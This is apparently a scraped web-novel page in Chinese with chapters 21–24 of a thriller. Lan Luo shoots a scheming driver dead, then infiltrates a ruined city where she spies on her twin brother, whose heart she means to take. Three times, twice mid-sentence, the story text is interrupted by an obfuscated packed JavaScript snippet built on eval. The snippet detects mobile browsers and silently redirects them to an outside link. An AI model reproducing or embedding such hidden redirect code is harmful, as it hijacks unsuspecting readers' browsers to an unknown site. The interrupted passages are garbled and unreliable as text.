兰落靠着车窗,一言不发盯着老头熟练地下车绕去后备箱拿轮胎。 老头离开她的视线范围,转到了车子后方,兰落听到“吱呀”一声,随后就感觉到后备箱被掀起。 她看着窗外,雨下大了,豆大的雨点噼里啪啦砸在车上,水花飞溅。 从窗外收回视线,兰落环视车子内部,目光在副驾驶上顿了顿,然后重新掠向窗外。 “唰!” 几秒后,她飞快拉开车门,没有丝毫停顿地跳下车,两步跨到后备箱。 老头正在后备箱捣鼓,看见兰落吓了一跳,浑身都是一哆嗦:“哎呦!吓我一跳!” “不是怕雨吗?怎么下来了?” 兰落面无表情凝视他几秒,然后扯唇:“怕你弄不好,下来帮你。” “是吗……呵呵,”老头憨笑,“没事,我自己就可以,你先回……” 一把冰凉的枪顶在了老头的后脑勺,漆黑的枪口的他斑驳的后脑严丝合缝。 老头瞪着眼睛,缓缓举起双手:“女侠,饶命啊!” 雨势愈演愈烈,雨滴砸在枪身上一分为二,顺着光滑的银色金属表面滑落,留不下一丝痕迹。 兰落用枪敲了敲他的脑袋:“你是不是觉得我太好糊弄了?” “不不不——”老头挥舞着双手,头上雨水混合着汗水,“不敢不敢,我马上就换好,绝对不多收你钱,修车的时间我给你扣掉行不行?” 死老头嘴硬。 兰落把枪压紧了一点,语气戏谑:“别装傻,你知道不是轮胎的事。” “是……” 老头支支吾吾的,说不出完整的话,不停舔着嘴唇,无意识咽下几滴腐蚀雨。 兰落移开枪口,对准后备箱。 “砰!” “咔嚓——” 子弹擦着老头的耳朵飞进后备箱,一声轻响后精准击碎了什么东西。 老头被枪声吓得浑身一哆嗦,深吸一口冷气软倒在地,双手紧紧扒着后备箱。 “再耍心思,你和它一个下场。” 兰落把发烫的枪口摁在老头太阳穴,毫不客气地威胁他。 老头咽了咽口水,视线僵硬地挪到后备箱里。 那里有一枚四分五裂的通讯器,被打成蜘蛛网一样的屏幕正在倔强地闪着最后的雪花屏。 21. 开枪 兰落把枪移开,虚虚对准老头:“换轮胎吧,记得换个大小合适的。” 她的语气太过自然,好像刚刚开枪威胁人的不是自己一样。 老头拍拍屁股从地上站起来,避开兰落的视线:“知道了,手下留情,手下留情。” 说完就从后备箱捞出一个破破烂烂的轮胎,路过碎裂的通讯器时还特意绕了个路,生怕子弹跳起来攻击他似的。 兰落双腿微微分开,在车边站得笔直,一动不动盯着老头的动作。 老头一边斜眼看她,一边揉着被雨点砸着的斑秃脑袋,颤颤巍巍蹲在地上换轮胎。 和老头不同,兰落在雨里十分泰然自若,她感受不到疼痛,腐蚀雨对她的影响微乎其微,即使偶尔淋雨也不至于像老头一样秃头。 老头脑袋上顶了块脏兮兮的抹布,动作很麻利,没多久就成功把一个破轮胎换成另一个破轮胎,没事人一样擦着脑袋钻进驾驶位。 要不是他频频闪躲的视线,兰落还真看不出他有半分心虚。 她重新坐回后座,甩甩脑袋上的雨珠,甩得发绳上的兔子左摇右晃地轻响。 老头重新启动车子,刚换过轮胎的破车叮叮咣咣地摇着,混合着车外淅沥的小雨,竟然有些岁月静好。 ——如果忽视老头紧绷的后背和警惕的视线的话。 兰落摸了摸脑袋上的兔子发绳,这还是祝见尘给她的,幼稚得要命。 但她逃得匆忙,身上也没有别的发绳了,只有这根被祝见尘扎在她脑袋上的兔子发绳跟她颠沛流离走到这里,这几天一直将就用着。 “喂,有没有发绳?” 兰落踢了踢驾驶位的椅背。 老头本就绷直的背一下子挺得更直,几乎要弯折过去。 “有,之前的客人落下的二手绳。” 他小心翼翼瞄兰落,从储物格掏出几根黑色素发绳。 “给我。” 兰落毫不客气伸手。 老头左手开车,右手捏着发绳:“二十块钱,跟车费一起给。” 兰落拿过发绳,没有丝毫犹豫:“嗯,一起给。” 摘掉兔子发绳,兰落用没有任何装饰物的黑色发绳重新扎起头发,甩了甩脑袋。 果然舒服多了。 淋过雨之后,小兔子光滑的表面摸起来粗糙了几分,兰落抓在手心想了想,还是把它收进了口袋。 好好的东西,没必要扔,说不定哪天还能重新拿出来用。 老头在她换发绳的时候拐了个弯,拐进一条崎岖的窄路。 路况太差,破车像条缺水的鱼一样不停扑腾着,颠得两个人在座椅上起起落落。 “哎呦,哎呦,”老头一边开车一边嚎,“这什么破路!” 兰落在后排坐稳,朝窗外辨认了一下,眉头越皱越深。 “死不悔改。” 颠簸的间隙里,兰落对着老头轻轻撂下一句话,却被淹没在他的骂骂咧咧中。 老头嘴里不干不净,脚下也没闲着,三两下把车速提了不少,兰落都能感受到轮胎不堪重负的响动。 她轻叹一口气,熟练地掏出枪:“停车。” 老头像没听到一样,眼神直勾勾盯着前面的路:“快了快了,这段路过去就好……” “你想死吗?” 兰落把枪顶在他的后脑,不耐烦开口。 被枪指着之后,老头明显老实多了,猛地踩下刹车把车停了下来。 “你看你,停车干啥,这路不好,咱们快点过去还少受点罪,你这都是计时收费的,走慢了不好……” “你是不是太小瞧我了?” 兰落环视一圈周围,枪口牢牢对准他。 “换轮胎之前你就开始绕路了,”她说,“我只当你是为了多坑点钱,就没跟你计较。” “你说是小息城封了路,所以才要绕路,我也同意了。” “但你故意撞上石头弄坏轮胎,借此躲在后备箱用通讯器,就太惹人怀疑了。要不是我发现原本放在副驾驶座位上的通讯器被你拿进了后备箱,说不定现在已经让你得逞了。” 兰落有一搭没一搭用枪敲他后脑:“所以说说吧,你的目的,还有你——” 看着车外丛林掩映的小路,兰落慢悠悠把话补全:“——还有你现在准备把我带到哪里。” 她又不蠢,白城的位置看看地图就能大致确认了,稍微绕点远路她也不在乎,但老头现在的方向已经偏离了白城的方向,就算是为了挣黑心车费,代价也未免有些大了。 所以老头果真不老实。 他跟实验室有关?是陆观手底下的人? 兰落紧紧盯着老头,一直盯到他额头冒出冷汗,双手也止不住颤抖。 “不,不去哪里啊,白城嘛不是,你说白城,然后我带你去白城。”老头结结巴巴的,“对,白城,白城。” “还是不老实,”兰落手指搭上扳机,“那你不如去死。” “别!” 老头两只手夸张地高举着,在半空中疯狂挥舞:“别别别,别开枪,我说,我说!” “我本来只是想绕点路多赚点,看你挡着脸有点鬼鬼祟祟的,怕你是通缉犯,所以才用通讯器查了一下。” 老头几乎要哭出来:“我真不敢做什么呀,你手里有枪,我一个开车的能有什么本事害你?我真就是怕了而已,万一拉到通缉犯把我杀了都没人知道!” 兰落不为所动:“所以你查出来了吗?我是不是通缉犯?” “没!”老头想摇头,又被枪顶着,脑袋只能小幅度动几下,“啥也没有,真的,女侠有话好说,你把枪放下,我把你带到白城咱们两清了行不行?” “这样啊……” 兰落把枪从他后脑勺移开。 老头明显松了一口气,抚着胸口:“哎呦吓死我了,年轻人脾气就是暴躁,这样不好这样不好,我年纪大了,经不起吓。” 兰落一点没有尊老爱幼的自觉,听到这话只是轻轻抬了抬下巴:“开车,这是你最后的机会,不要耍小聪明。” “呵呵……” 老头得不到回应,尴尬地笑笑:“我喝口水,喝口水顺一下,压压惊。” 说着就伸手要去拿杯架上的老旧保温杯。 兰落枪还握在手里,抬起一边嘴角看老头担惊受怕的样子,眼神在保温杯上停留几秒。 这是一个再普通不过的黑色保温杯,上面有不少磕碰掉漆,看着像用过很长时间的样子。 只是保温杯的顶部已经积累了一层薄薄的灰尘,老头手指触碰上去甚至能留下一个淡灰色的指印。 “停。” 兰落把枪对准老头的手。 老头不敢不听她的,老老实实把手搭在保温杯上:“咋了?喝口水也不行?喝水的时间我给你扣掉,不收你的钱总行了吧?” 兰落一脸不耐烦,她真的有些厌烦了这个满身心眼子的老头。 “我饶了你很多次了,为什么你总要挑战我的耐心?”兰落摸了摸枪。 “我说过,你只有最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816261|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次机会。” 她没有表情地举起枪,没有给老头反应和求饶的时间,对准他的后脑勺扣动扳机。 “噗——” 子弹陷进太阳穴,在老头的脑袋上炸出一朵黑红的花。 老头瞪着眼珠,不可置信的狰狞表情留在他脸上,他的手慢慢从保温杯上滑落,带出几道灰尘印子,随后整个人都开始瘫软,倒在了驾驶位座椅下方。 血液顺着他脑袋上的洞流出来,沾湿了脏兮兮的座椅,把他无神的眼睛染得血红,直勾勾对准兰落。 兰落却毫不在意,收了枪去看保温杯。 正常人的杯子,如果频繁使用,是不可能积累这么多灰尘的,老头的杯子看似饱经风霜,其实很久都没有移动过了。 兰落从杯架的缝隙里观察了一下,她猜得没错,杯架底部有一块小小的按钮,被保温杯牢牢压着,如果老头拿起保温杯,这按钮就会弹起来。 她听说过很多人会在车上放置安全按钮,猜测摁下去也许会出现陷阱或者发出警报,反正哪一种对她来说都会很麻烦。 兰落向来是人不犯我我不犯人,但今天这老头已经作了太多次死,她要是不送他去死,还真是浪费了。 兰落把老头的尸体拎到车外,拖进了树林里。 雨已经停了,树林里到处都泥泞不堪,她懒得下脚,用足了力气把老头甩进树林深处。 因为异能的缘故,她的力气一直都很大,扔个老头不在话下。 逐渐开始僵硬的老头撞在一颗树上,抖落满树的雨水,几片叶子扑簌簌掉下来盖在他身上。 挺好的,也算是个坟了。 兰落转身上车,嫌弃地把老头的外套垫在驾驶座上,确认了一下地图就果断开车走人。 白捡个破烂车,比走路快多了。 一路上,兰落不敢张扬,开着古董车小心穿梭在小路里,迫不得已上大路也只敢靠边行驶,尽力缩小自己的存在感。 老头说没看到她被通缉,兰落是一个字也不信,要是真没有的话,他犯不着在被枪威胁的情况下三番两次耍心眼。 兰落用自己的通讯器查了一下,她的照片果真出现在了一条通缉令里,只不过和许多逃犯混在一起,不至于太明显。 看来基地已经开始动作了,是陆观醒了吗? 兰落怕陆观会派出无人机在半空扫描,越是平坦空旷的路面,对她来说越危险,于是将车开到了白城外,停在森林里稍作休整。 老头虽然做的不是正规生意,但起码是个合法居民,车牌应该早就登记过了,车上说不定还会有定位器,她没那么大的胆子带着一个定时炸弹招摇过市。 天色已经暗下来了,白城的城门紧闭,衬得城外这片树林格外幽黑死寂。 兰落没开车灯,摸着黑把整个车都翻了一遍,从车里找出一把西瓜刀和锤子扳手之类的工具,试了试手感,最后只留下了那把三十厘米长的西瓜刀。 趁着夜色,她要赶紧穿过森林到达小息城,不然等试炼开始了,再混进去就不容易了。 兰落拎着刀在森林走了一夜,终于在太阳升起时钻出了又长又密的树林。 惨白的阳光照在她灰扑扑的脸上,兰落忍不住眯了眯眼。 她的视线尽头,是一座残败而死气沉沉的城,城墙上站着零星几个穿制服的人,背着手目视前方。 ——和兰升一模一样的制服。 没错!就是这里! 兰升,惊喜吗? 准备迎接惊喜吧,兰升! 22. 兰升 兰落眼神里充斥着压抑的兴奋,手指攀在树干上,把粗糙的树皮扣烂,心脏也不受控制地突突跳着,似乎在为她指明兰升的方向。 兰升、兰升、兰升…… 兰升在哪里? 兰落牙关轻颤,视线来回扫视着城墙上的几个人。 人影离得很远,看不清面容,兰落却能轻易分辨出来。 不是,都不是。 兰升不在这些人里。 她太熟悉兰升了,龙凤双胎,自幼一起长大,他的脸、他的身形和姿势,兰落都无比熟悉,所以只需要一眼,就能判断出他不在城墙上。 不是天赋出众吗?不是天之骄子吗?被捧在手心长大的的兰升,怎么连城墙都上不去? 找不到兰升,兰落心里有些急躁,却又隐秘地放轻松了一点。 兰升虽然温吞又窝囊,但战斗力确实不容小觑,不知道是不是因为不死异能的缘故,兰升的体力和反应力都要高出她不少,否则也不会早早被看上,一毕业就迫不及待把他招入军校。 她现在又累又狼狈,跟兰升遇上了也只能偷偷观望,何况军校试炼有老师陪同,学生也都是小组行动,想要对他下手,还真不是一件容易的事情。 兰落在原地观察了一会儿,看那几个人影搬出几个巨大的黑色方块,放置在城墙的各个角落,然后各自站定在方块旁边,同时拔出了方块上的一根细棍子。 这好像是……屏蔽器? 屏蔽器就是用来扰乱通讯器信号的,开启之后,无论是什么样的通讯器都没办法正常使用。 兰落之前见过几次屏蔽器,但没见过这么大体积的,看来军校的试炼并不含糊,连通讯器都不让学生用。 这样一来,学生们彼此之间的联络岂不是会困难很多? 还真是……得来全不费工夫啊。 兰落巴不得他们相互之间无法联络,最好让兰升落单,这样她的胜算也能大一些,不怕被他的同学老师阻碍行动。 她原本想的是躲在城外随机应变,如今看屏蔽器已经开启,立马推翻了原本的想法,决定进城去。 反正小息城是一座荒城,里面的丛林比城外还茂盛,兰落不怕找不到藏身的地方。 再者,屏蔽器能屏蔽的,可不只是通讯器,就算是无人机飞到了屏蔽器周边,也会失去反应沦为废铁。 这是为了防止学生的外援通过科技手段辅助作弊,替他们找到其他学生的踪迹,同时还能防止不怀好意的人故意伤害学生。 兰落在心里悄悄对军校的教育比了个大拇指,勾着腰在树丛里穿梭,慢慢靠近城门。 靠近了才发现,原来城墙上的都是老师,怪不得看不到兰升的身影。 兰落谨慎地挪动着脚步,她距离小息城的城墙越来越近,离这些老师也就越来越近,生怕一个不小心就吸引了他们的注意力。 城门正上方站着两个笔直的身影,牢牢守住了小息城的大门,颇有种生人勿近的威压。 兰落没管他们,她可没打算从城门进,小息城这种烂成筛子的死城,城墙都不知道碎成多少块了,随便找个洞钻进去就行,不必和这些人正面硬刚。 脑子里这么规划着,兰落的心里却忍不住想象自己变强之后的样子。 如果不是实力不济,她才懒得绕路呢,直接踹开大门就是干,哪里还要提心吊胆钻狗洞? 她的眼前是唯一一处守卫力量薄弱的破洞,不论位置还是大小,都奇妙地和狗洞对上了号。 ……狗洞就狗洞吧。 兰落没有犹豫,观察到守卫目光偏离后就立刻飞奔到城墙下,贴着墙根小步挪动,直到靠近大洞。 手脚摸到洞口后,兰落感受了一下,洞内应该是一片树林,隐蔽性比较强,于是果断弯腰钻了进去,手脚并用滚进小息城内部。 残破但高耸的城墙上,一双眼睛敏锐地察觉到了草丛的轻晃,他顺着草丛的方向看了看,那里一片风平浪静,似乎刚刚的动静只是风吹的。 “肃哥,你有没有看到什么?” 他侧头问身边的人。 被叫做肃哥的男人带着墨镜,闻言活动了一下脖子:“没看到,是野兔吧,或者是蛇?” “是吗?”刚开始说话的人沉沉注视着那片草丛,“学生都已经开始试炼了,不怕是动物,就怕有人混进去威胁到学生,你说我要不要进城查一下?” 肃哥抬着下巴,隔着墨镜直视太阳:“那又怎样?” “不知死活的东西进去了,刚好给我们的新生加个餐,他们还没怎么见过血呢。” “要是这帮新生连这都解决不掉,那就死在里面好喽。” 说完,他还扬起了一个浅浅的笑,似乎对自己的决定颇为满意。 “呵,那倒也是。” 刚开始的男人笑着摇摇头,不再关注那片毫无动静的草丛。 兰落不知道他们在城墙上讨论的内容,她滚进来之后就落在了树林深处,鼓起的树根缠绕了整片土地,她连个落脚的地方都没有。 怕被人发现,兰落找了棵大树,三两下爬上去藏好。 树梢上盘着一只细长的小蛇,被惊到之后疯狂仰着脑袋对她吐信子,兰落看也没看,揪着蛇头甩了几圈,把它扔得远远的。 小息城内阴沉沉的,高大的树木几乎遮蔽了大部分的阳光,青苔遍布的小路上没有半个人影。 是她的位置太偏僻了吗,怎么半个人影都没有? 不知道兰升的驻扎地在哪里,身边有哪些队友,身上有没有趁手的武器? 兰落一边想,一边缓缓移动,谨慎地从一棵树跳到另一棵树,像个猴子一样在丛林里荡,向着树木不那么茂盛的地方凑过去。 她的全部心思都在观察周围环境上,后背几乎冒出了一层冷汗,被湿湿凉凉的微风一吹,鸡皮疙瘩就不受控制地爬满双臂。 不愧是死过那么多人的地方,小息城未免阴森得可怕,也难怪大家希望城里的亡魂安息。 兰落揉了揉脖子,这种阴冷的感觉,还真像和亡魂肩并肩。 连续穿梭了十几棵大树,兰落终于停下脚步,安稳地趴在树上观察周围。 兰升这人喜欢晒太阳,不喜欢阴暗的地方,所以兰落潜意识里就朝着树少太阳多的方向靠近,直觉这样才能离兰升更近一点。 只是树木逐渐稀疏了,隐藏效果大打折扣,兰落压低身子,揪着树上的藤蔓小心观察着。 ——等等,藤蔓? 兰落想到了什么,低头细看自己栖身的这棵树,粗壮的树干上缠绕着层层叠叠的藤蔓,几乎盖住了树木原本的颜色。 她微微惊讶地挑眉,抬眼向后看。 果然,这里所有的树都被藤蔓缠绕得紧紧的。 藤蔓绕树,兰升煮饭。 哈,看来那个楚知费劲巴力预知到的兰升的位置,就是小息城啊。 他当时说什么来着? 兰落回忆了一下,要不是刚刚注意到了藤蔓,她几乎都要忘掉这号人物了,想了半天才想起来楚知的预知。 他说他只能在她的未来里看见兰升,看不见自己的存在。 半吊子预知能力,说了半天全是废话,还不如她抢个通讯器得到的消息多。 兰落身前不远处的地方是一片较为平坦的空地,几束阳光吝啬地照在空地上,照出空气里浮动的灰尘毛絮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833062|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的形状。 倏然间,光束扭曲了几下,空气里的毛絮跳动几下四散而去,静谧的空地出现突兀的响动。 兰落绷紧身子,屏住呼吸注意着空地旁一人高的草丛。 草丛晃动几下,里面钻出了一个人。 这个人穿着深色的军校制服,袖口高高挽起,露出两条线条流畅的小臂。 他四处环视了一下,然后点点头,似乎非常满意这里的环境,拍拍手转身钻回草丛,弯着腰从里面掏出了…… 一口锅? 一口黑晶晶的,在阳光下泛着油润光线的大铁锅。 他从腿上抽出一把刀,三两下砍下几根树枝,垂着眼睛蹲在地上捣鼓。 不远处的树上,兰落的指甲深深嵌进藤蔓,柔韧度极高的藤蔓被掐出粘稠的绿色汁水,糊满她的手指。 她的呼吸开始急促,心脏不受控制地剧烈跳动,耳膜充斥着沉闷的心跳声,在静谧的林子里宛如擂鼓。 兰落一双眼睛死死盯住空地里正在往柴堆上架铁锅的人影,她的眼中遍布红血丝,牢牢缠绕着瞳孔中映出的那道身影。 那是她再熟悉不过的人,那是她心心念念了这么多天的身影。 兰升!他是兰升! 自从进入实验室,他们就再也没有见过面,可兰落还是凭借着十八年的朝夕相处,一眼认出了兰升。 看见兰升的第一眼,她的心脏就下意识涌起一阵酸麻。 他为什么一个人在这里? 军校试炼不都是小组合作吗?难道他被排挤了? 一个人在这种地方还有闲心做饭,果真是永远不会亏待自己。 兰落不过几秒就清空了自己的思绪,压下心底那些奇怪的感觉。 也许她只是看着兰升悠然自得的样子,想到自己东躲西藏的境遇,又开始不平衡了而已。 这些都不重要,重要的是她找到了兰升,只要想办法靠近他、拿到他的心脏,从此以后她就再也不必看人脸色任人摆布。 至于兰升是不是被排挤被欺负,失去心脏之后又该怎么办,通通与她无关。 他越是被排挤,对她来说反而越方便行事。 兰落深吸几口混合着浓重草木气息的空气,逼迫自己冷静下来仔细观察。 铁锅已经架好,兰升正护着一撮小小的火苗,小心点燃柴堆。 兰升厨艺太好,看着他的动作,兰落胃部下意识蠕动几下,口腔也分泌着口水。 防止自己越看越饿,兰落只用余光观察他的动作,把视线转移到他身后的草丛中。 那是他来的方向,也许他的驻扎地就在那里。 兰落向着草丛深处看去,草叶密密麻麻,风一吹就沙沙晃动。 兰升的锅也是从草丛里掏出来的,他该不会把全部身家都藏在里面吧? 兰落好笑地看着草丛里微微塌陷的一小块地方,想看看兰升还藏了些什么。 只是很快她的笑容就凝固了。 因为在塌陷的中心,草丛的根部,她看见了一双死气沉沉的眼睛。 风吹开草叶,露出这双眼睛的更多部分。 先是苍白的额头,然后是瘦窄的脸颊,最后是毫无弧度的干燥嘴唇。 风停了,草叶重新遮盖住一切,只留下那双没有神采的眼睛。 兰落死死盯着草丛,几乎不敢相信自己的眼睛。 他为什么会出现在这里? 还不等她想明白,那双眼睛就动了动,泛着灰色的眼珠慢慢向上抬起。 隔着空地、隔着阳光、隔着添柴的兰升,这双眼睛准确地锁定了兰落。 他们的目光,在半空中沉沉地撞在一起。 23. 偷听 兰落没想到自己会在小息城见到楚知。 他不是在那片森林里吗?为什么会出现在这里? 胡娇芬和那个小孩收留他了? 难道是他们把他带来的? 那胡娇芬呢,为什么只有楚知一个人? 更重要的是,楚知为什么会和兰升在一起? 兰落往树叶后藏了藏,楚知的视线像是能捕捉到她似的,一直停留在她藏身的这棵树上,刚才有一瞬间他们甚至对视了。 看兰升泰然自若的样子,不像是没发现楚知,反而像特意把楚知藏了起来。 搞什么,他们什么时候认识的? 兰落想不通,只能定下心神继续观察。 兰升已经生完火,从口袋里拿出一个小胶囊对着铁锅拧开,就有涓涓细流从胶囊里倾泻出来流进锅里。 流了差不多半锅水胶囊就空了,兰升拧好空胶囊,又小心塞回了口袋。 这种胶囊都是一次性的,可用空间也小,也就兰升愿意当个宝收集起来了。 他从小就这样,不管多没用的东西都会收集起来,还有个专门的大箱子用来收纳破烂。 收破烂就算了,偏偏他记性也好,每件破烂都如数家珍。 兰落小时候很爱针对他的破烂箱。 那时候他们还很小,兰家也没钱,她和兰升住在同一个房间,两张小小的单人床,中间隔着一个床头柜。 只要兰父兰母把好吃的藏起来给兰升被她发现,她就会一边装懂事,一边偷偷关上房门扔他的破烂。 兰升发现破烂被扔之后也不闹,安安静静在地上捡,再小心放回箱子里。 殊不知兰落最讨厌的就是他不言不语的样子,似乎他永远是最包容最无辜最委屈的那个。 “你跟他们一样!就爱藏!爱藏破烂!” 她压着细细的孩童嗓音,吐出的话却恶毒。 兰升没反应,她就气急败坏掐他胳膊,逼他对自己求饶。 他的痛觉灵敏,兰落又没有痛觉,不知道自己的力气怎么样,每次都会掐得他眼冒泪花才松手。 “你以为谁会稀罕这些破烂吗?告诉你,除了你,没有人会在意那些破烂!破烂!都是破烂!!” 得到兰升的反应之后,她才会得意地扬起下巴,把那些破烂贬低得一文不值。 想起自己小时候的幼稚行为,兰落也有些无语。 幸好长大一些,他们分了房间,她也不再动手了,只会冷眼看着他们表演亲子情深。 兰升收好胶囊,又钻进了草丛。 看到这一幕,兰落赶紧收回思绪,目不转睛地看着兰升走到草丛深处,脚步堪堪停在楚知身边。 草叶下有一个大大的背包,兰升弯腰在里面掏了一会儿,掏出一个空杯子。 他没看躺在旁边的楚知,拿完杯子就回到铁锅边舀了一杯水,用手扇风降温。 都在试炼期了,兰升还如此松弛,甚至坚持着喝热水的习惯,兰落都不知道该夸他还是鄙视他。 有底气的人,真是无所畏惧。 兰升扇了会儿,又转身进了草丛,这次没有看背包,径直走到了楚知身边。 兰落眯着眼睛看他蹲在地上把水递给楚知,嘴里念叨了句什么,然后就摇摇头站起来,去包里翻东西了。 距离有点远,兰落听不到他的声音,兰升又是侧对着她,唇形也只能看见一半,根本不知道他对楚知说了些什么。 楚知不再看兰落的方向,端着水杯,用兰升刚从包里翻出来的吸管小口小口喝水。 他们两个很熟吗? 兰落拧着眉头,看他们一个乐于照顾,另一个乐于接受照顾的样子,心中不由得涌出怀疑。 楚知之前真的不认识兰升吗? 还是说,他原本就认识兰升,只是一直都在骗自己,故意装作不认识的样子让她放松警惕? 不可能,兰落推翻自己,研究员说楚知在基地好几年了,根本没可能接触到兰升。 可万一他进基地前就认识兰升呢? 再大胆一点,万一他的预知能力也是骗自己的呢? 可是没有预知能力,他又是怎么知道心脏的事情的? 兰落明知道这种想法有些荒谬,脑子却不听使唤,目光沉沉地在二人身上打转。 万一…… 兰落额头突然滴下一滴冷汗。 她突然意识到一个严峻的问题—— 为什么,她一直想当然地认为兰升不知道不死之力可以合二为一? 对啊,即使撇开楚知这个人不谈,兰升自己也极有可能像她一样突然觉醒传承记忆。 兰落一直急着找兰升,却从没想到过这种可能性。 幸好,幸好她反应过来了,没上赶着去给兰升送心脏。 硬碰硬,她打不过他的。 兰落后背已经出了不少冷汗,她恋恋不舍地瞥了一眼兰升的左胸口,手脚并用跳到另一棵树上,渐渐远离了兰升的位置。 先躲远点,等找到机会了再尝试拿出他的心脏。 反正试炼时间很长,不差这一会儿,她要躲起来好好休息,养足精神搞偷袭。 茂盛的草丛里,虚弱的年轻男人喝完一杯水,苍白干裂的嘴唇明显水润了不少。 兰升接过空杯子和吸管,擦干残留的水珠之后才放回背包。 “你刚刚为什么要跟我强调这水没毒?” 楚知咳嗽几声,撑起身子问他。 兰升刚刚给他喝水的时候,嘴里嘟囔着“喝吧,放心,这水没毒”,说完又自己摇摇头。 “我看着你烧的水,当然不会怀疑有毒。”他看着兰升,不解地问。 兰升微微愣神,抿着唇角露出一点无奈的笑意:“说习惯了。” 他说完就闭上了嘴,楚知也没接着问,空气里一片安静。 “你不知道,我有个妹妹,像只小野兔一样警惕心很强。” 片刻后,兰升却主动开始解释:“她从来不喝我倒的水,就算矮得够不到水龙头,也要踮着脚自己倒水,最后的结果就是水也撒了,她也被爸爸妈妈骂了。” “后来我就坚持给她倒水,每次都当着她的面倒,然后告诉她,‘没毒,喝吧’,她才愿意赏脸喝掉。” “只是再大一点,就算我强调没毒,她也不愿意喝了。” 兰升目光掠过天上的云:“可能,她已经长大了,可以自己够到水龙头,再也不会把水撒的到处都是了。” 楚知顺着他的角度看云,视线跟着一只滑翔的鸟,看着鸟儿落在不远处的树林里。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838661|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >枝叶轻轻晃动几下,随后归于平静。 他收回视线:“你这是想她了?” 兰升仰着脑袋一动不动,微微闭上眼睛:“没有,就是不知道她现在过得怎么样。” “反正都是一家人,试炼结束不就可以回家见面了吗?”楚知一脸坦然。 “希望吧。” 兰升说完,不再继续这个话题,走到铁锅边吹灭了柴火,开始安静搭帐篷。 兰落找了个格外隐蔽的洞穴,用藤蔓和石头堵住洞口,窝在里面恢复体力。 周围很安静,只偶尔有三三两两的学生远远路过,留下杂乱的脚步声。 兰落半睡半醒地警惕,休息没多久,洞外开始传来持续的嘈杂声响。 也许是学生打起来了,她没多在意。 直到一个熟悉的声音响起: “各位,您就行行好,孩子发着烧呢,年纪又小,我真怕他出事!” 胡娇芬?! 兰落瞬间清醒过来,把洞口一块小石头取出来向外看。 洞穴的地势很高,视野很好,她很轻易就看见了不远处争执的几人。 说是争执也不对,准确来说,是一个佝偻的女人被五个穿学生制服的男生围了起来。 还真是胡娇芬,她怎么也在这里? 小孩不在她身边,结合刚刚听到的话,兰落猜测小孩应该是被这几个人捉了。 几个学生,捉个收破烂的小孩做什么?难不成他又口无遮拦了? 既然他们都在,那楚知说不定是跟着胡娇芬二人来到小息城的也说不准。 就是不知道他们三个老弱病残是怎么赶在她之前来到这里的。 兰落思考的时候,一个寸头胖子张开了嘴:“少来这套,谁没发过烧似的,死不了人啊我告诉你!” 胡娇芬腰更弯了:“可这是速度异能觉醒造成的高烧啊!他才刚觉醒异能就使用过度了,没人照顾的话真的有可能会死的,求求各位大爷,放了他吧,实在不行把我也一起带走,求你们了,我求你们了!” 说着就开始给他们挨个鞠躬,像压水井的把手一样起起伏伏。 那小孩觉醒速度异能了? 挺好的,这样以后再犯贱,就不怕跑得太慢被揍了。 “你太老了,我们不要。” 一个瘦猴侧身让了让,避开胡娇芬的鞠躬,满口拒绝。 胖子也点点头:“就是,让你照顾那死小孩了,我们还怎么拿他做诱饵啊?” “要的就是可怜,越可怜越好,这样才能逼他答应我们的要求!”方脸男学生也开始插话。 胖子撸起袖子,下巴抬得高高的:“没错,他不是最清高了吗?我们拿生病小孩威胁他,看他敢不敢不听我们的!” 没意思,反正和她无关。 还不如继续养精蓄锐,方便之后找时机对兰升下手。 兰落重新拿起石头,准备把洞口盖起来。 刚盖上一半,方脸男的声音就钻进了石头缝: “哼,他兰升要是敢不听我们的,从此以后就等着被人戳脊梁骨吧。” 兰落手里的石头差点滑掉,她扔了石头重新把眼睛贴上洞口,原本带着困意的眼睛一下子就瞪圆了—— 谁? 他们说谁? 24. 跟踪 兰落不知道该说兰升太优秀了还是太不合群了,怎么到哪都有人背后蛐蛐他? 听这几人的意思,似乎是想要兰升手里的物资包? 她记得兰升的背包,鼓鼓囊囊的,一看就塞了不少好东西,被觊觎也正常。 “他最装了,肯定不会见死不……阿嚏、阿嚏!” 胖子说了一半,连打了两个喷嚏。 兰落看得鼻子痒痒,回忆起自己之前狂打喷嚏的样子,忍不住揉了揉鼻子。 看来是胡娇芬动用异能了,一个只能让人打喷嚏的异能。 她屏住呼吸看过去,这几个长得跟橡皮泥捏出来的似的奇形怪状的学生,正弯着腰朝四面八方不停打喷嚏。 “你们都是前途无量的军校学生,干什么跟一个孩子过不去呢!” 